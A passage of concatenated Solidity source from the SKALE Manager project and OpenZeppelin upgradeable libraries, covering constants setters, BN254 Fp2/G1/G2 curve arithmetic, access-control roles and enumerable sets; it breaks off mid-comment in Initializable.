rewardPeriod = newRewardPeriod;
emit ConstantUpdated(
keccak256(abi.encodePacked("DeltaPeriod")),
uint(deltaPeriod),
uint(newDeltaPeriod)
);
deltaPeriod = newDeltaPeriod;
}
/**
* @dev Allows the Owner to set the new check time.
* This function is only for tests.
*/
function setCheckTime(uint newCheckTime) external override onlyConstantsHolderManager {
require(rewardPeriod - deltaPeriod >= checkTime, "Incorrect check time");
emit ConstantUpdated(
keccak256(abi.encodePacked("CheckTime")),
uint(checkTime),
uint(newCheckTime)
);
checkTime = newCheckTime;
}
/**
* @dev Allows the Owner to set the allowable latency in milliseconds.
* This function is only for testing purposes.
*/
function setLatency(uint32 newAllowableLatency) external override onlyConstantsHolderManager {
emit ConstantUpdated(
keccak256(abi.encodePacked("AllowableLatency")),
uint(allowableLatency),
uint(newAllowableLatency)
);
allowableLatency = newAllowableLatency;
}
/**
* @dev Allows the Owner to set the minimum stake requirement.
*/
function setMSR(uint newMSR) external override onlyConstantsHolderManager {
emit ConstantUpdated(
keccak256(abi.encodePacked("MSR")),
uint(msr),
uint(newMSR)
);
msr = newMSR;
}
/**
* @dev Allows the Owner to set the launch timestamp.
*/
function setLaunchTimestamp(uint timestamp) external override onlyConstantsHolderManager {
require(
block.timestamp < launchTimestamp,
"Cannot set network launch timestamp because network is already launched"
);
emit ConstantUpdated(
keccak256(abi.encodePacked("LaunchTimestamp")),
uint(launchTimestamp),
uint(timestamp)
);
launchTimestamp = timestamp;
}
/**
* @dev Allows the Owner to set the node rotation delay.
*/
function setRotationDelay(uint newDelay) external override onlyConstantsHolderManager {
emit ConstantUpdated(
keccak256(abi.encodePacked("RotationDelay")),
uint(rotationDelay),
uint(newDelay)
);
rotationDelay = newDelay;
}
/**
* @dev Allows the Owner to set the proof-of-use lockup period.
*/
function setProofOfUseLockUpPeriod(uint periodDays) external override onlyConstantsHolderManager {
emit ConstantUpdated(
keccak256(abi.encodePacked("ProofOfUseLockUpPeriodDays")),
uint(proofOfUseLockUpPeriodDays),
uint(periodDays)
);
proofOfUseLockUpPeriodDays = periodDays;
}
/**
* @dev Allows the Owner to set the proof-of-use delegation percentage
* requirement.
*/
function setProofOfUseDelegationPercentage(uint percentage) external override onlyConstantsHolderManager {
require(percentage <= 100, "Percentage value is incorrect");
emit ConstantUpdated(
keccak256(abi.encodePacked("ProofOfUseDelegationPercentage")),
uint(proofOfUseDelegationPercentage),
uint(percentage)
);
proofOfUseDelegationPercentage = percentage;
}
/**
* @dev Allows the Owner to set the maximum number of validators that a
* single delegator can delegate to.
*/
function setLimitValidatorsPerDelegator(uint newLimit) external override onlyConstantsHolderManager {
emit ConstantUpdated(
keccak256(abi.encodePacked("LimitValidatorsPerDelegator")),
uint(limitValidatorsPerDelegator),
uint(newLimit)
);
limitValidatorsPerDelegator = newLimit;
}
function setSchainCreationTimeStamp(uint timestamp) external override onlyConstantsHolderManager {
emit ConstantUpdated(
keccak256(abi.encodePacked("SchainCreationTimeStamp")),
uint(schainCreationTimeStamp),
uint(timestamp)
);
schainCreationTimeStamp = timestamp;
}
function setMinimalSchainLifetime(uint lifetime) external override onlyConstantsHolderManager {
emit ConstantUpdated(
keccak256(abi.encodePacked("MinimalSchainLifetime")),
uint(minimalSchainLifetime),
uint(lifetime)
);
minimalSchainLifetime = lifetime;
}
function setComplaintTimeLimit(uint timeLimit) external override onlyConstantsHolderManager {
emit ConstantUpdated(
keccak256(abi.encodePacked("ComplaintTimeLimit")),
uint(complaintTimeLimit),
uint(timeLimit)
);
complaintTimeLimit = timeLimit;
}
function initialize(address contractsAddress) public override initializer {
Permissions.initialize(contractsAddress);
msr = 0;
rewardPeriod = 2592000;
allowableLatency = 150000;
deltaPeriod = 3600;
checkTime = 300;
launchTimestamp = type(uint).max;
rotationDelay = 12 hours;
proofOfUseLockUpPeriodDays = 90;
proofOfUseDelegationPercentage = 50;
limitValidatorsPerDelegator = 20;
firstDelegationsMonth = 0;
complaintTimeLimit = 1800;
}
}
// SPDX-License-Identifier: AGPL-3.0-only
// cSpell:words twistb
/*
FieldOperations.sol - SKALE Manager
Copyright (C) 2018-Present SKALE Labs
@author Dmytro Stebaiev
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.8.11;
import "@skalenetwork/skale-manager-interfaces/ISkaleDKG.sol";
import "./Precompiled.sol";
library Fp2Operations {
uint constant public P = 21888242871839275222246405745257275088696311157297823662689037894645226208583;
function inverseFp2(ISkaleDKG.Fp2Point memory value) internal view returns (ISkaleDKG.Fp2Point memory result) {
uint p = P;
uint t0 = mulmod(value.a, value.a, p);
uint t1 = mulmod(value.b, value.b, p);
uint t2 = mulmod(p - 1, t1, p);
if (t0 >= t2) {
t2 = addmod(t0, p - t2, p);
} else {
t2 = (p - addmod(t2, p - t0, p)) % p;
}
uint t3 = Precompiled.bigModExp(t2, p - 2, p);
result.a = mulmod(value.a, t3, p);
result.b = (p - mulmod(value.b, t3, p)) % p;
}
function addFp2(ISkaleDKG.Fp2Point memory value1, ISkaleDKG.Fp2Point memory value2)
internal
pure
returns (ISkaleDKG.Fp2Point memory)
{
return ISkaleDKG.Fp2Point({ a: addmod(value1.a, value2.a, P), b: addmod(value1.b, value2.b, P) });
}
function scalarMulFp2(ISkaleDKG.Fp2Point memory value, uint scalar)
internal
pure
returns (ISkaleDKG.Fp2Point memory)
{
return ISkaleDKG.Fp2Point({ a: mulmod(scalar, value.a, P), b: mulmod(scalar, value.b, P) });
}
function minusFp2(ISkaleDKG.Fp2Point memory diminished, ISkaleDKG.Fp2Point memory subtracted) internal pure
returns (ISkaleDKG.Fp2Point memory difference)
{
uint p = P;
if (diminished.a >= subtracted.a) {
difference.a = addmod(diminished.a, p - subtracted.a, p);
} else {
difference.a = (p - addmod(subtracted.a, p - diminished.a, p)) % p;
}
if (diminished.b >= subtracted.b) {
difference.b = addmod(diminished.b, p - subtracted.b, p);
} else {
difference.b = (p - addmod(subtracted.b, p - diminished.b, p)) % p;
}
}
function mulFp2(
ISkaleDKG.Fp2Point memory value1,
ISkaleDKG.Fp2Point memory value2
)
internal
pure
returns (ISkaleDKG.Fp2Point memory result)
{
uint p = P;
ISkaleDKG.Fp2Point memory point = ISkaleDKG.Fp2Point({
a: mulmod(value1.a, value2.a, p),
b: mulmod(value1.b, value2.b, p)});
result.a = addmod(
point.a,
mulmod(p - 1, point.b, p),
p);
result.b = addmod(
mulmod(
addmod(value1.a, value1.b, p),
addmod(value2.a, value2.b, p),
p),
p - addmod(point.a, point.b, p),
p);
}
function squaredFp2(ISkaleDKG.Fp2Point memory value) internal pure returns (ISkaleDKG.Fp2Point memory) {
uint p = P;
uint ab = mulmod(value.a, value.b, p);
uint multiplication = mulmod(addmod(value.a, value.b, p), addmod(value.a, mulmod(p - 1, value.b, p), p), p);
return ISkaleDKG.Fp2Point({ a: multiplication, b: addmod(ab, ab, p) });
}
function isEqual(
ISkaleDKG.Fp2Point memory value1,
ISkaleDKG.Fp2Point memory value2
)
internal
pure
returns (bool)
{
return value1.a == value2.a && value1.b == value2.b;
}
}
library G1Operations {
using Fp2Operations for ISkaleDKG.Fp2Point;
function getG1Generator() internal pure returns (ISkaleDKG.Fp2Point memory) {
// Current solidity version does not support Constants of non-value type
// so we implemented this function
return ISkaleDKG.Fp2Point({
a: 1,
b: 2
});
}
function isG1Point(uint x, uint y) internal pure returns (bool) {
uint p = Fp2Operations.P;
return mulmod(y, y, p) ==
addmod(mulmod(mulmod(x, x, p), x, p), 3, p);
}
function isG1(ISkaleDKG.Fp2Point memory point) internal pure returns (bool) {
return isG1Point(point.a, point.b);
}
function checkRange(ISkaleDKG.Fp2Point memory point) internal pure returns (bool) {
return point.a < Fp2Operations.P && point.b < Fp2Operations.P;
}
function negate(uint y) internal pure returns (uint) {
return (Fp2Operations.P - y) % Fp2Operations.P;
}
}
library G2Operations {
using Fp2Operations for ISkaleDKG.Fp2Point;
function doubleG2(ISkaleDKG.G2Point memory value)
internal
view
returns (ISkaleDKG.G2Point memory result)
{
if (isG2Zero(value)) {
return value;
} else {
ISkaleDKG.Fp2Point memory s =
value.x.squaredFp2().scalarMulFp2(3).mulFp2(value.y.scalarMulFp2(2).inverseFp2());
result.x = s.squaredFp2().minusFp2(value.x.addFp2(value.x));
result.y = value.y.addFp2(s.mulFp2(result.x.minusFp2(value.x)));
uint p = Fp2Operations.P;
result.y.a = (p - result.y.a) % p;
result.y.b = (p - result.y.b) % p;
}
}
function addG2(
ISkaleDKG.G2Point memory value1,
ISkaleDKG.G2Point memory value2
)
internal
view
returns (ISkaleDKG.G2Point memory sum)
{
if (isG2Zero(value1)) {
return value2;
}
if (isG2Zero(value2)) {
return value1;
}
if (isEqual(value1, value2)) {
return doubleG2(value1);
}
if (value1.x.isEqual(value2.x)) {
sum.x.a = 0;
sum.x.b = 0;
sum.y.a = 1;
sum.y.b = 0;
return sum;
}
ISkaleDKG.Fp2Point memory s = value2.y.minusFp2(value1.y).mulFp2(value2.x.minusFp2(value1.x).inverseFp2());
sum.x = s.squaredFp2().minusFp2(value1.x.addFp2(value2.x));
sum.y = value1.y.addFp2(s.mulFp2(sum.x.minusFp2(value1.x)));
uint p = Fp2Operations.P;
sum.y.a = (p - sum.y.a) % p;
sum.y.b = (p - sum.y.b) % p;
}
function getTWISTB() internal pure returns (ISkaleDKG.Fp2Point memory) {
// Current solidity version does not support Constants of non-value type
// so we implemented this function
return ISkaleDKG.Fp2Point({
a: 19485874751759354771024239261021720505790618469301721065564631296452457478373,
b: 266929791119991161246907387137283842545076965332900288569378510910307636690
});
}
function getG2Generator() internal pure returns (ISkaleDKG.G2Point memory) {
// Current solidity version does not support Constants of non-value type
// so we implemented this function
return ISkaleDKG.G2Point({
x: ISkaleDKG.Fp2Point({
a: 10857046999023057135944570762232829481370756359578518086990519993285655852781,
b: 11559732032986387107991004021392285783925812861821192530917403151452391805634
}),
y: ISkaleDKG.Fp2Point({
a: 8495653923123431417604973247489272438418190587263600148770280649306958101930,
b: 4082367875863433681332203403145435568316851327593401208105741076214120093531
})
});
}
function getG2Zero() internal pure returns (ISkaleDKG.G2Point memory) {
// Current solidity version does not support Constants of non-value type
// so we implemented this function
return ISkaleDKG.G2Point({
x: ISkaleDKG.Fp2Point({
a: 0,
b: 0
}),
y: ISkaleDKG.Fp2Point({
a: 1,
b: 0
})
});
}
function isG2Point(ISkaleDKG.Fp2Point memory x, ISkaleDKG.Fp2Point memory y) internal pure returns (bool) {
if (isG2ZeroPoint(x, y)) {
return true;
}
ISkaleDKG.Fp2Point memory squaredY = y.squaredFp2();
ISkaleDKG.Fp2Point memory res = squaredY.minusFp2(
x.squaredFp2().mulFp2(x)
).minusFp2(getTWISTB());
return res.a == 0 && res.b == 0;
}
function isG2(ISkaleDKG.G2Point memory value) internal pure returns (bool) {
return isG2Point(value.x, value.y);
}
function isG2ZeroPoint(
ISkaleDKG.Fp2Point memory x,
ISkaleDKG.Fp2Point memory y
)
internal
pure
returns (bool)
{
return x.a == 0 && x.b == 0 && y.a == 1 && y.b == 0;
}
function isG2Zero(ISkaleDKG.G2Point memory value) internal pure returns (bool) {
return value.x.a == 0 && value.x.b == 0 && value.y.a == 1 && value.y.b == 0;
// return isG2ZeroPoint(value.x, value.y);
}
/**
* @dev Checks are G2 points identical.
* This function will return false if following coordinates
* of points are different, even if its different on P.
*/
function isEqual(
ISkaleDKG.G2Point memory value1,
ISkaleDKG.G2Point memory value2
)
internal
pure
returns (bool)
{
return value1.x.isEqual(value2.x) && value1.y.isEqual(value2.y);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
IContractManager.sol - SKALE Manager Interfaces
Copyright (C) 2021-Present SKALE Labs
@author Dmytro Stebaeiv
SKALE Manager Interfaces is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager Interfaces is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager Interfaces. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity >=0.6.10 <0.9.0;
interface IContractManager {
/**
* @dev Emitted when contract is upgraded.
*/
event ContractUpgraded(string contractsName, address contractsAddress);
function initialize() external;
function setContractsAddress(string calldata contractsName, address newContractsAddress) external;
function contracts(bytes32 nameHash) external view returns (address);
function getDelegationPeriodManager() external view returns (address);
function getBounty() external view returns (address);
function getValidatorService() external view returns (address);
function getTimeHelpers() external view returns (address);
function getConstantsHolder() external view returns (address);
function getSkaleToken() external view returns (address);
function getTokenState() external view returns (address);
function getPunisher() external view returns (address);
function getContract(string calldata name) external view returns (address);
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
IPermissions.sol - SKALE Manager
Copyright (C) 2018-Present SKALE Labs
@author Artem Payvin
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity >=0.6.10 <0.9.0;
interface IPermissions {
function initialize(address contractManagerAddress) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
import "@openzeppelin/contracts-upgradeable/utils/structs/EnumerableSetUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol";
import "@skalenetwork/skale-manager-interfaces/thirdparty/openzeppelin/IAccessControlUpgradeableLegacy.sol";
import "./InitializableWithGap.sol";
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, _msgSender()));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*/
abstract contract AccessControlUpgradeableLegacy is InitializableWithGap, ContextUpgradeable, IAccessControlUpgradeableLegacy {
function __AccessControl_init() internal initializer {
__Context_init_unchained();
__AccessControl_init_unchained();
}
function __AccessControl_init_unchained() internal initializer {
}
using EnumerableSetUpgradeable for EnumerableSetUpgradeable.AddressSet;
struct RoleData {
EnumerableSetUpgradeable.AddressSet members;
bytes32 adminRole;
}
mapping (bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view override returns (bool) {
return _roles[role].members.contains(account);
}
/**
* @dev Returns the number of accounts that have `role`. Can be used
* together with {getRoleMember} to enumerate all bearers of a role.
*/
function getRoleMemberCount(bytes32 role) public view override returns (uint256) {
return _roles[role].members.length();
}
/**
* @dev Returns one of the accounts that have `role`. `index` must be a
* value between 0 and {getRoleMemberCount}, non-inclusive.
*
* Role bearers are not sorted in any particular way, and their ordering may
* change at any point.
*
* WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure
* you perform all queries on the same block. See the following
* https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]
* for more information.
*/
function getRoleMember(bytes32 role, uint256 index) public view override returns (address) {
return _roles[role].members.at(index);
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view override returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual override {
require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant");
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual override {
require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke");
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual override {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
_roles[role].adminRole = adminRole;
}
function _grantRole(bytes32 role, address account) private {
if (_roles[role].members.add(account)) {
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (_roles[role].members.remove(account)) {
emit RoleRevoked(role, account, _msgSender());
}
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/structs/EnumerableSet.sol)
pragma solidity ^0.8.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSetUpgradeable {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping(bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) {
// Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
if (lastIndex != toDeleteIndex) {
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex
}
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
return set._values[index];
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function _values(Set storage set) private view returns (bytes32[] memory) {
return set._values;
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(Bytes32Set storage set) internal view returns (bytes32[] memory) {
return _values(set._inner);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(AddressSet storage set) internal view returns (address[] memory) {
bytes32[] memory store = _values(set._inner);
address[] memory result;
assembly {
result := store
}
return result;
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(UintSet storage set) internal view returns (uint256[] memory) {
bytes32[] memory store = _values(set._inner);
uint256[] memory result;
assembly {
result := store
}
return result;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
import "../proxy/utils/Initializable.sol";
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal onlyInitializing {
__Context_init_unchained();
}
function __Context_init_unchained() internal onlyInitializing {
}
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
IAccessControlUpgradeableLegacy.sol - SKALE Manager
Copyright (C) 2018-Present SKALE Labs
@author Artem Payvin
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity >=0.6.10 <0.9.0;
interface IAccessControlUpgradeableLegacy {
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
function grantRole(bytes32 role, address account) external;
function revokeRole(bytes32 role, address account) external;
function renounceRole(bytes32 role, address account) external;
function hasRole(bytes32 role, address account) external view returns (bool);
function getRoleMemberCount(bytes32 role) external view returns (uint256);
function getRoleMember(bytes32 role, uint256 index) external view returns (address);
function getRoleAdmin(bytes32 role) external view returns (bytes32);
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.8.7;
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
contract InitializableWithGap is Initializable {
uint256[50] private ______gap;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (proxy/utils/Initializable.sol)
pragma solidity ^0.8.0;
import "../../utils/AddressUpgradeable.sol";
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*
* [CAUTION]
* ====
* Avoid leaving a contract uninitialized.
*
* An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation
* contract, which may impact the proxy. To initialize the implementation contract, you can either invoke the
* initializer manually, or you can include a constructor to automatically mark it as initialized when it is deployed:
